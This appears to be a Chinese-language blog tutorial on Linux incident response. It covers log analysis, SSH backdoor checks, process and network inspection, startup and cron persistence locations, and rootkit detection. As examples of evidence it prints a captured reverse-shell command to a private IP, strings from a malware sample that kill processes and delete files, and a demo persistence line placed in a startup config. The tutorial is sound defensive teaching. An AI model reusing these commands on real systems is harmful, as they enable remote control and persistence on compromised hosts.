linux应急响应从入门到懵比

Feb 25, 2019 00:00 · 11075 words · 23 minute read 应急响应

0x00 应急响应流程

检测阶段——>抑制阶段——>分析阶段——>恢复阶段——>跟踪总结

检测阶段 事件类型、事件影响范围、受影响系统、事件发展趋势、安全设备等。

抑制阶段 物理遏制、网络遏制、主机遏制、应用遏制等。常见手段:断网、降权、网络封堵等。

分析阶段 系统基本信息、网络排查、进程排查、注册表排查、计划任务排查、服务排查、关键目录排查、用户组排查、事件日志排查、webshell排查、中间件日志排查、安全设备日志排查等。

恢复阶段 系统恢复、网络恢复、用户恢复、数据恢复以及重新部署,系统重装、补丁加固、网络恢复、密码重置、木马清除等。

跟踪总结 调查事件原因,输出应急响应报告,提供安全建议、加强安全教育、避免同类事件再次发生。

0x01 检测阶段

  • 事件类型

    • Web入侵:挂马、篡改、Webshell

    • 系统入侵:系统异常、RDP爆破、SSH爆破、主机漏洞

    • 病毒木马:远控、后门、钓鱼、勒索软件

    • 信息泄漏:脱裤、数据库登录(弱口令)、git泄漏

    • 网络流量:频繁发包、批量请求、DDOS攻击、劫持、爬虫

  • 系统架构

    • 系统名称 IP 地址 端口开放 物理机/虚拟机 主机名 设备型号 操作系统类型
    • 操作系统版本 管理后台ip地址 中间件类型 中间件版本 数据库类型 数据库版本 应用url
    • 应用端口 储存设备类型 储存设备型号 web 框架 中间件版本 第三方组件
  • 受影响系统

    • 确认感染文件特征
    • 确认感染时间
      • linux : stat filename(access访问时间,modify内容修改时间,change属性改变时间)
      • windows : 右键查看文件属性

0x02 抑制阶段

  • 感染主机
    • 网络隔离
    • 禁止使用u盘,移动硬盘
  • 未被感染主机
    • ACL隔离
    • 关闭ssh,rdp等协议
    • 文件备份
    • 禁止使用u盘,移动硬盘

0x03 分析阶段

web服务

  1. 检查最近创建的php文件和上传目录

    例如要查找24小时内被修改的php文件:

    find ./ -mtime 0 -name "*.php"
    

    查找距现在 n*24H 内修改过的文件

    find ./ -ctime -3 
    

    find三种时间

    atime 最后一次访问时间, 使用 ls -utl 可以按此时间顺序查看
    
    ctime 最后一次状态修改时间, 使用 stat file 可以查看
    
    mtime 最后一次内容修改时间, vim查看会更改mtime时间
    
  2. 使用Webshell查杀工具

    Windows下D盾等,Linux下河马等。

  3. 与测试环境目录做对比

    diff -r {生产dir} {测试dir}

  4. Access Log日志

    扫描特征

    通常日志中会伴随一些其他攻击特征,例如可以用如下语句
    egrep '(select|script|acunetix|sqlmap)' /var/log/httpd/access_log
    

    访问频次

    重点关注POST请求
    grep 'POST' /var/log/httpd/access_log | awk '{print $1}' | sort | uniq -c | sort -nr
    

    Content-Length

    Content-Length过大的请求,例如过滤Content-Length大于5M的日志
    awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log
    

ssh服务

  1. 查看登录信息

使用lastlog命令,系统中所有用户最近一次登录信息。

登录成功:

grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

last命令,它会读取位于/var/log/wtmp的文件,并把该文件记录的登录系统的用户名单,全部显示出来。

登录失败:

grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

lastb命令,会读取位于/var/log/btmp的文件,并把该文件记录的登入系统失败的用户名单,全部显示出来。
  1. 检查SSH后门

比对ssh的版本

    ssh -V

查看ssh配置文件和/usr/sbin/sshd的时间

    stat /usr/sbin/sshd

strings检查/usr/sbin/sshd,看是否有邮箱信息,ip

    strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。
    strings /usr/sbin/sshd
    strings /usr/bin/.sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.'

通过strace监控sshd进程读写文件的操作

一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4

进程

检查是否存在可疑进程,需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,进程也会隐藏。

  1. 资源占用

Top然后找到CPU和MEM排序

按照CPU排序:Shift+P

按照MEM排序:Shift+M

  1. 启动时间

可疑与前面找到的Webshell时间点比对。

  1. 启动权限

这点很重要,比如某次应急中发现木马进程都是mysql权限执行的,如下所示:

```
mysql 63763 45.3 0.0 12284 9616 ? R 01:18 470:54 ./db_temp/dazui.4
mysql 63765 0.0 0.0 12284 9616 ? S 01:18 0:01 ./db_temp/dazui.4
mysql 63766 0.0 0.0 12284 9616 ? S 01:18 0:37 ./db_temp/dazui.4
mysql 64100 45.2 0.0 12284 9616 ? R 01:20 469:07 ./db_temp/dazui.4
mysql 64101 0.0 0.0 12284 9616 ? S 01:20 0:01 ./db_temp/dazui.4
```
那基本可以判断是通过Mysql入侵,重点排查Mysql弱口令、UDF提权等。
  1. 父进程

例如我在菜刀中反弹Bash

grep -v 是反向查找的意思,比如 grep -v grep 就是查找不含有 grep 字段的行

[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grep
apache 26641 1014 0 14:59 ? 00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1

父进程进程号1014

[root@server120 html]# ps -ef | grep 1014
apache 1014 1011 0 Sep19 ? 00:00:00 /usr/sbin/httpd

可以看到父进程为apache,就可以判断攻击者通过Web入侵。

获取到可疑进程号之后,可疑使用lsof -p pid查看相关文件和路径。

例如之前遇到的十字病毒,会修改ps和netstat显示的进程名称

udp 0 0 0.0.0.0:49937 0.0.0.0:* 131683/ls -la 
udp 0 0 0.0.0.0:47584 0.0.0.0:* 116515/ifconfig

使用lsof -p pid可以看到可执行文件

[root@DataNode105 admin]# lsof -p 131683
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
hahidjqzx 131683 root cwd DIR 8,98 4096 18087937 /root
hahidjqzx 131683 root rtd DIR 8,98 4096 2 /
hahidjqzx 131683 root txt REG 8,98 625622 24123895 /usr/bin/hahidjqzxs

可以文件类型可以使用file获取

[root@server120 tmp]# file .zl
zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

对于二进制的文件可以使用strings读取可读字符

[root@server120 tmp]# strings .zl
rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr
/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex
netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m 
> /dev/null
netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m 
> /dev/null
  1. 隐藏进程查看
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2
  1. 查看系统命令是否被替换

查看命令目录最近的时间排序

ls -alt /usr/bin | head -10

根据确定时间去匹配

ls -al /bin /usr/bin /usr/sbin/ /sbin/ | grep "Jan 15"

网络连接

需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,连接是可以被隐藏的。

netstat -antlp | grep ESTABLISHED

查看已经建立的网络连接,例如反弹bash

[root@server120 html]# netstat -antlp | grep EST | grep bash
tcp 0 0 192.168.192.120:41320 192.168.192.144:2345 ESTABLISHED 26643/bash
netstat -antlp | grep LISTEN

检查可以监听端口,例如攻击者在本地开启sock5代理,然后使用SSH反弹sock5。

[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 26810/python
lsof -i:{port}

敏感目录

/tmp, /var/tmp, /dev/shm,所有用户都可读,可写,可执行

[root@server120 ~]# ls -ald /tmp/
drwxrwxrwt. 10 root root 4096 9月 20 09:41 /tmp/
[root@server120 ~]# ls -ald /var/tmp/
drwxrwxrwt. 2 root root 4096 9月 18 16:57 /var/tmp/
[root@server120 ~]# ls -ald /dev/shm
drwxrwxrwt. 3 root root 60 9月 1 10:23 /dev/shm

history

默认的history仅记录执行的命令,然而这些对于应急来说是不够的,很多系统加固脚本会添加记录命令执行的时间,修改记录的最大条数。

查看分析history (cat /root/.bash_history),曾经的命令操作痕迹,以便进一步排查溯源。运气好有可能通过记录关联到如下信息:

a) wget 远程某主机(域名&IP)的远控文件;

b) 尝试连接内网某主机(ssh scp),便于分析攻击者意图;

c) 打包某敏感数据或代码,tar zip 类命令

d) 对系统进行配置,包括命令修改、远控木马类,可找到攻击者关联信息…

开机启动

在应急响应时,开机启动项是必查的项,下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。 RHEL5、RHEL6、RHEL7的init系统分别为SysV init、Upstart、Systemd

  1. centos6

开机启动流程

1.post加电自检
这个过程是开机后,BIOS或UEFI进行硬件检查的阶段

2.MBR引导
自检硬件没有问题时候,这里以BIOS为例,BIOS将会直接去找硬盘的第一个扇区,找到前446字节,将MBR加载到内存中,MBR将告诉程序下一阶段去哪里找系统grub引导。此阶段属于grub的第一阶段。grub还有1.5阶段和2阶段。

3.GRUB引导
grub第1.5和2阶段,信息默认存放在扇区中,如果使用grub-install生成的2阶段的文件是存放在/boot分区中的。 
为了加载内核系统,不得不加载/boot分区,而加载/boot分区,需要有/boot分区的驱动,/boot分区驱动是放在/boot分区中的,啊,我们好像进入了死循环了,Linux是怎么解决的呢?就是靠放在1.5阶段中的数据,是放在第一个扇区后的后续扇区中,具体占用多少字节,不太清楚,只知道1.5阶段和2阶段总共27个扇区。

stage1.5:
mbr之后的扇区,识别stage2所在的分区上的文件系统

stage2:
开机启动的时候看到的Grub选项、信息,还有修改GRUB背景等功能都是stage2提供的,stage2会去读入/boot/grub/grub.conf或者menu.lst等配置文件

4.读取grub.conf文件
读取grub.conf文件以确定内核启动的参数,准备启动内核

5.启动内核
加载内核,核心开始解压缩,启动一些最核心的程序。 
因为为了让内核足够轻小,硬件驱动并没有放在内核文件里面,我们可以看到内核很小,才4M左右,我们可以想象Windows中的驱动,安装系统时候还需要使用驱动软件下载好长时间呢 
因此需要使用/initramfs-2.6.32-696.el6.x86_64.img来驱动硬件

[root@CentOS6 ~]# ll -h /boot/vmlinuz-2.6.32-696.el6.x86_64
-r-xr-xr-x. 1 root root 4.1M Jul  8 21:06 /boot/vmlinuz-2.6.32-696.el6.x86_64

6.加载伪文件系统(ramdisk),
内核已将启动起来了,再调用ramdisk文件,尝试驱动所有的硬件设备,到这一步,内核起来了,所有驱动也装上了,因此后面的启动就可以交给程序了

7.启动init进程
grub中默认指定init=/sbin/init程序,可以在grub.conf中kernel行自定义执行程序init=/bin/bash,此时可以绕过下面步骤直接进入bash界面。 
内核源代码文件中显示996行左右,规定了init启动的顺序,/sbin/init->/etc/init->/bin/init->/bin/sh,/bin/bash没有写,应该是和/bin/sh一样吧

(1)读取/etc/inittab文件
inittab文件里面定义了系统默认运行级别,这一步做了一些工作如下:

 a)初始运行级别(RUN LEVEL)
 b)系统初始化脚本
 c)对应运行级别的脚本目录
 d)定义UPS电源终端/恢复脚本
 e)在虚拟控制台生成getty,以生成终端
 f)在运行级别5初始化X

(2)执行/etc/rc.d/rc.sysinit程序
系统初始化一些脚本,主要完成以下工作

a)设置主机名
b)设置欢迎信息
c)激活udev和selinux可以在grub.conf中,kernel行添加selinux=0以关闭selinux
d)挂载/etc/fstab文件中定义的文件系统
e)检测根文件系统,并以读写方式重新挂载根文件系统
f)设置系统时钟
g)激活swap设备
h)根据/etc/sysctl.conf文件设置内核参数
i)激活lvm及software raid设备
j)加载额外设备的驱动程序
k)清理操作

(3)/etc/rc#.d/文件(各种服务)
里面定义的是各种服务的启动脚本,可以ls查看,S开头代表开机启动的服务,K开头的是关机要执行的任务。#代表数字,一个数字代表一个运行级别,共7个运行级别,这里就不多说了

(4)/etc/rc.d/rc.local文件
这里面可以自定义开机启动的命令。

8.执行/bin/login
执行/bin/login程序,等待用户登录

init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab

[root@server120 src]# cat /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

通过注释可以看到,upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效,其他的配置都移动到了/etc/init/*.conf下。

系统初始化/etc/init/rcS.conf

对应runlevel的服务启动/etc/init/rc.conf

终端配置/etc/init/tty.conf

总结一下,针对CentOS6系统,需要排查的点:

1)/etc/init/*.conf

vim tty.conf,添加一行

exec /bin/vinc

vinc内容

[root@vincenthostname init]# cat /bin/vinc 
#!/bin/bash

touch /tmp/vinc

2)/etc/rc.d/rc.sysinit 3)/etc/rc.d/init.d 4)/etc/rc.d/rc.local

  1. centos7

开机启动流程如下:

1)UEFi或BIOS初始化,运行POST开机自检
2)选择启动设备
3)引导装载程序, centos7是grub2
4)加载装载程序的配置文件: /etc/grub.d/   /etc/default/grub    /boot/grub2/grub.cfg
5)加载initramfs驱动模块
6)加载内核选项
7)内核初始化, centos7使用systemd代替init
8)执行initrd.target所有单元,包括挂载/etc/fstab
9)从initramfs根文件系统切换到磁盘根目录
10)systemd执行默认target配置,配置文件/etc/systemd/system/default.target
11)systemd执行sysinit.target初始化系统及basic.target准备操作系统
12)systemd启动multi-user.target下的本机与服务器服务
13)systemd执行multi-user.target下的/etc/rc.d/rc.local
14)systemd执行multi-user.target下的getty.target及登入服务
15)systemd执行graphical需要的服务

CentOS7使用的是systemd,相较于以前的init有很大的不同。

/etc/inittab是空的

[root@localhost init.d]# cat /etc/inittab | grep -v "^$" | grep -v "^#"
[root@localhost init.d]#

也没有/etc/init目录

[root@localhost init.d]# ls -al /etc/init
ls: cannot access /etc/init: No such file or directory

/etc/rc3.d/和/etc/rc.d/init.d/还存在,所以向后兼容sysv init脚本,在centos5、6系统上/etc/init.d/目录下的服务脚本,systemd也能够对其进行管理

[root@localhost init.d]# ls -al /etc/rc3.d/

total 4

drwxr-xr-x.  2 root root   81 May 30 14:09 .

drwxr-xr-x. 10 root root 4096 May 30 14:31 ..

lrwxrwxrwx.  1 root root   20 Nov  7  2016 K50netconsole -> ../init.d/netconsole

lrwxrwxrwx.  1 root root   17 Nov  7  2016 S10network -> ../init.d/network

lrwxrwxrwx.  1 root root   23 Jan 17  2017 S90zabbix_agentd -> ../init.d/zabbix_agentd

lrwxrwxrwx.  1 root root   15 May 30 14:09 S99ossec -> ../init.d/ossec

systemd提供更优秀的框架以表示系统服务间的依赖关系,尽可能启动更少进程,尽可能将更多进程并行启动,尽可能减少对shell脚本的依赖。systemd的核心概念是unit,unit表示不同类型的systemd对象,通过配置文件进行标识和配置,文件中主要包含了系统服务,监听socket,保存的系统快照以及其他与init相关的信息。

查看所有的unit类型:

[root@localhost system]# systemctl -t help       
Available unit types:
service
socket
busname
target
snapshot
device
mount
automount
swap
timer
path
slice
scope

用途如下:

Service unit:文件扩展名.service 用于定义系统服务
Target unit:文件扩展名.target 用于模拟实现运行级别
Device unit: .device 用于定义内核识别的设备
Mount unit: .mount 定义文件系统的挂载点
Socket unit: .socket 用于标识进程间通行用的socket文件,也可在系统启动时,延迟启动服务,实现按需启动
Snapshot unit: .snapshot 管理系统快照
Swap unit: .swap 用于标识swap设备
Automount unit: .automount 文件系统的自动挂载点
Path unit: .path 用于定义文件系统中的一个文件或目录使用,常用于当文件系统变化时,延迟激活服务,如spool目录

配置文件中主要保存在:

/usr/lib/systemd/system/    每个服务最主要的启动脚本设置,类似于之前的/etc/init.d/ 

/run/systemd/system/    系统执行过程中所产生的服务脚本,比上面目录优先运行

/etc/systemd/system/    管理员建立的执行脚本,类似于/etc/rc.d/rcN.d/Sxx类的功能,比上面目录优先运行
[root@localhost system]# ls /usr/lib/systemd/system/

abrt-ccpp.service                       psacct.service

abrtd.service                           quotaon.service

abrt-oops.service                       rc-local.service

...

[root@localhost system]# ls /run/systemd/system/

session-1006.scope      session-161401.scope    session-24243.scope    session-54837.scope

session-1160.scope      session-162551.scope    session-24243.scope.d  session-54837.scope.d

...

[root@localhost system]# ls /etc/systemd/system/

basic.target.wants                           default.target           sockets.target.wants

dbus-org.fedoraproject.FirewallD1.service    default.target.wants     sysinit.target.wants

dbus-org.freedesktop.NetworkManager.service  getty.target.wants       system-update.target.wants

dbus-org.freedesktop.nm-dispatcher.service   multi-user.target.wants

我们来看下sshd.service

[root@localhost system]# cat sshd.service | grep -v "^$" | grep -v "^#"

[Unit]

Description=OpenSSH server daemon

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target sshd-keygen.service

Wants=sshd-keygen.service

[Service]

EnvironmentFile=/etc/sysconfig/sshd

ExecStart=/usr/sbin/sshd -D $OPTIONS

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartSec=42s

[Install]

WantedBy=multi-user.target

文件包含三部分。

[Unit]:描述信息与依赖关系 [Service]:ExecStartPre 定义启动服务之前应该运行的命令;ExecStart 定义启动服务的具体命令行语法。 [Install]:WangtedBy 表明这个服务是在多用户模式下所需要的。 我们再来看下multi-user.target

[root@localhost system]# cat multi-user.target | grep -v "^$" | grep -v "^#"

[Unit]

Description=Multi-User System

Documentation=man:systemd.special(7)

Requires=basic.target

Conflicts=rescue.service rescue.target

After=basic.target rescue.service rescue.target

AllowIsolate=yes

Requires表明 multi-user.target 启动的时候 basic.target 也必须被启动,basic.target 停止的时候,multi-user.target 也必须停止。接着查看 basic.target 文件,会发现它又指定了 sysinit.target 等其他的单元必须随之启动。同样 sysinit.target 也会包含其他的单元。采用这样的层层链接的结构,最终所有需要支持多用户模式的组件服务都会被初始化启动好。

此外在/etc/systemd/system 目录下还可以看到诸如*.wants 的目录

[root@localhost system]# ls multi-user.target.wants/   

brandbot.path  plymouth-quit.service           systemd-logind.service

dbus.service   plymouth-quit-wait.service      systemd-update-utmp-runlevel.service

getty.target   systemd-ask-password-wall.path  systemd-user-sessions.service

放在该目录下的配置单元文件等同于在[Unit]小节中的 wants 关键字,即本单元启动时,还需要启动这些单元。

查看multi-user.target的依赖关系

[root@localhost system]# systemctl list-dependencies multi-user.target     

multi-user.target

├─abrt-ccpp.service
├─abrt-oops.service
├─abrt-vmcore.service
├─abrt-xorg.service
├─abrtd.service
├─atd.service
├─auditd.service

查看systemd管理的所有单元

[root@localhost system]# systemctl list-unit-files
UNIT FILE                                   STATE  
proc-sys-fs-binfmt_misc.automount           static 
dev-hugepages.mount                         static 
dev-mqueue.mount                            static

查看服务状态

[root@localhost system]# systemctl list-unit-files --type service     
UNIT FILE                                   STATE  
abrt-ccpp.service                           enabled
abrt-oops.service                           enabled

State的状态如下:

loaded:Unit配置文件已处理
active(running):一次或多次持续处理的运行
active(exited):成功完成一次性的配置
active(waiting):运行中,等待一个事件
inactive:不运行
enabled:开机启动
disabled:开机不启动
static:开机不启动,但可被另一个启用的服务激活

使用 systemctl 控制单元时,通常需要使用单元文件的全名,包括扩展名(例如 sshd.service),如果无扩展名,systemctl 默认把扩展名当作 .service。

启动httpd服务

[root@localhost system]# systemctl start httpd

停止httpd服务

[root@localhost system]# systemctl stop httpd

查看httpd服务运行状态

[root@localhost system]# systemctl status httpd

在centOS7上由.target来代替运行级别。

查看我们的机器上有多少个target

[root@localhost system]# ls /usr/lib/systemd/system/*.target | head -n 5
/usr/lib/systemd/system/basic.target
/usr/lib/systemd/system/bluetooth.target
/usr/lib/systemd/system/cryptsetup-pre.target
/usr/lib/systemd/system/cryptsetup.target
/usr/lib/systemd/system/ctrl-alt-del.target

运行级别与target的对照如下:

runlevel0.target -> poweroff.target
runlevel1.target -> rescue.target
runlevel2.target -> multi-user.target
runlevel3.target -> multi-user.target
runlevel4.target -> multi-user.target
runlevel5.target -> graphical.target
runlevel6.target -> reboot.target

运行级别切换

在centOS6上,我们切换级别使用init,在centOS7上来切换用:

systemctl isolate poweroff.target

要想切换运行级别,AllowIsolate=yes才可以。

[root@localhost system]# cat poweroff.target | grep Allow
AllowIsolate=yes

修改文件需执行systemctl daemon-reload才能生效。

查看默认运行级别

[root@localhost system]# systemctl get-default
multi-user.target

修改默认运行级别

[root@localhost system]# systemctl set-default graphical.target
Removed symlink /etc/systemd/system/default.target.
Created symlink from /etc/systemd/system/default.target to /usr/lib/systemd/system/graphical.target.

查看开机启动程序(相当于chkconfig –list)

ls /etc/systemd/system/multi-user.target.wants/

开机启动(相当于chkconfig httpd on)

[root@localhost system]# systemctl enable httpd.service 
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.

去除开机启动(相当于chkconfig httpd off)

[root@localhost system]# systemctl disable httpd.service                                
Removed symlink /etc/systemd/system/multi-user.target.wants/httpd.service.

查看服务是否开机启动(相当于chkconfig –list httpd)

[root@localhost system]# systemctl is-enabled httpd.service
enabled

CentOS7下rc.local文件默认不会在开机执行,我们来看一下rc.local文件的内容

[root@localhost system]# cat /etc/rc.local

#!/bin/bash

# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES

#

# It is highly advisable to create own systemd services or udev rules

# to run scripts during boot instead of using this file.

#

# In contrast to previous versions due to parallel execution during boot

# this script will NOT be run after all other services.

#

# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure

# that this script will be executed during boot.

可以看到一段注释,翻译如下:

#这个文件是为了兼容性的问题而添加的。

#强烈建议创建自己的systemd服务或udev规则来在开机时运行脚本而不是使用这个文件。

#与以前的版本引导时的并行执行相比较,这个脚本将不会在其他所有的服务后执行。

#请记住,你必须执行“chmod +x /etc/rc.d/rc.local”来确保确保这个脚本在引导时执行。

然后我们看/usr/lib/systemd/system/rc-local.service

[root@localhost system]# cat /usr/lib/systemd/system/rc-local.service | grep ExecStart
ExecStart=/etc/rc.d/rc.local start

那我们启动下rc-local.service

[root@localhost system]# chmod u+x /etc/rc.d/rc.local
[root@localhost system]# systemctl start rc-local

总结一下,针对CentOS7系统,需要排查的点:

1)排查修改的service

find /usr/lib/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5
find /etc/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5

2)/etc/rc.d/init.d

3)/etc/rc.d/rc.local

不过需要看/etc/rc.d/rc.local是否有x权限。

定时任务

在应急响应中,最重要的一个点就是定时任务,例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点:

一般常用的定时任务crontab -l是用户级别的,保存在/var/spool/cron/{user},每个用户都可以通过crontab -e编辑自己的定时任务列表。

而/etc/crontab是系统级别的定时任务,只有Root账户可以修改。

另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本,只需要放到/etc/cron.daily下,并且赋予执行权限即可。

CentOS6与CentOs7中:

[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m

[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任务是怎么执行的?

我们再仔细看一下,注意到CentOS5下的/etc/cron.d目录为空。

[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0

而CentOS6下有一个0hourly

[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r--  1 root root 113 Jul 18 19:36 0hourly

看一下执行的任务

[root@localhost /]# cat /etc/cron.d/0hourly 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly

然后看一下/etc/cron.hourly所执行的脚本

[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron 
#!/bin/bash
# Skip excecution unless the date has changed from the previous run 
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power &> /dev/null
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s

然后看一下/etc/anacrontab的内容

[root@localhost /]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22

#period in days   delay in minutes   job-identifier   command
1    5    cron.daily        nice run-parts /etc/cron.daily
7    25    cron.weekly        nice run-parts /etc/cron.weekly
@monthly 45    cron.monthly        nice run-parts /etc/cron.monthly

这里多了两条配置

RANDOM_DELAY=45

表示定时触发后随机延迟45分钟以内的时间再启动应用

START_HOURS_RANGE=3-22

表示程序在3时至22时之间会启动

看到这里我们就明白了在CeontOS6 里面,crond会检查/etc/cron.d里面的配置,里面有一个 0hourly文件,每小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次,这里其实执行的是/usr/sbin/anacron -s。anacron读取配置文件/etc/anacrontab,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。

总结:

应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly,/etc/anacrontab 。

其中容易忽视的就是/etc/anacrontab

在CentOS6下我们做个测试:

编辑/etc/anacrontab

修改RANDOM_DELAY=1

添加1 1 cron.test echo 1 >> /tmp/1.txt

[root@localhost cron.weekly]# /usr/sbin/anacron -s 等待一分多钟后,可以看到

[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test 
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt 
1

Rootkit

1)检查命令替换

系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。 例如我替换一下/bin/ps,然后使用rpm -qaV查看

[root@vincenthostname tmp]# rpm -qaV
S.?....T. /bin/ps

2)比对命令的大小

例如正常的ps和netstat大小

[root@vincent tmp]# ll /bin/ps
-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps
[root@vincent tmp]# ll /bin/netstat
-rwxr-xr-x 1 root root 128216 5月 10 2012 /bin/netstat
[root@DataNode110 admin]# ls -alt /bin/ | head -n 10
total 10836
-rwxr-xr-x 1 root root 625633 Aug 17 16:26 tawlqkazpu
dr-xr-xr-x. 2 root root 4096 Aug 17 16:26 .
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 ps
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 netstat

可以看到ps和netstat是一样大的。

3)查看命令的修改时间,按修改时间排序

ls -alt /bin/ | head -n 5

4)使用chkrootkit和rkhunter查看

病毒检测

https://x.threatbook.cn/
http://www.virscan.org
https://www.virustotal.com/
https://fireeye.ijinshan.com/

文件权限

setfacl与getfacl

ACL 全称 Access Control Lists 翻译成中文叫”访问控制列表”,传统的 Linux 文件系统的权限控制是通过 user、group、other 与 r(读)、w(写)、x(执行) 的不同组合来实现的。随着应用的发展,这些权限组合已不能适应现时复杂的文件系统权限控制要求。 例如,目录 /data 的权限为:drwxr-x—,所有者与所属组均为 root,在不改变所有者的前提下,要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法 (这里假设 tom 不属于 root group)

(1) 给 /data 的 other 类别增加 rwx permission,这样由于 tom 会被归为 other 类别,那么他也将拥有 rwx 权限。

(2) 将 tom 加入到 root group,为 root group 分配 rwx 权限,那么他也将拥有 rwx 权限。

以上 2 种方法其实都不合适

为了解决这些问题,Linux 开发出了一套新的文件系统权限管理方法,叫文件访问控制列表 (Access Control Lists, ACL)。简单地来说,ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。

文件的所有者以及有CAP_FOWNER的用户进程可以设置一个文件的acl。(在目前的linux系统上,root用户是唯一有CAP_FOWNER能力的用户)

ACL 有两种:

access ACL

针对文件和目录设置访问控制列表。

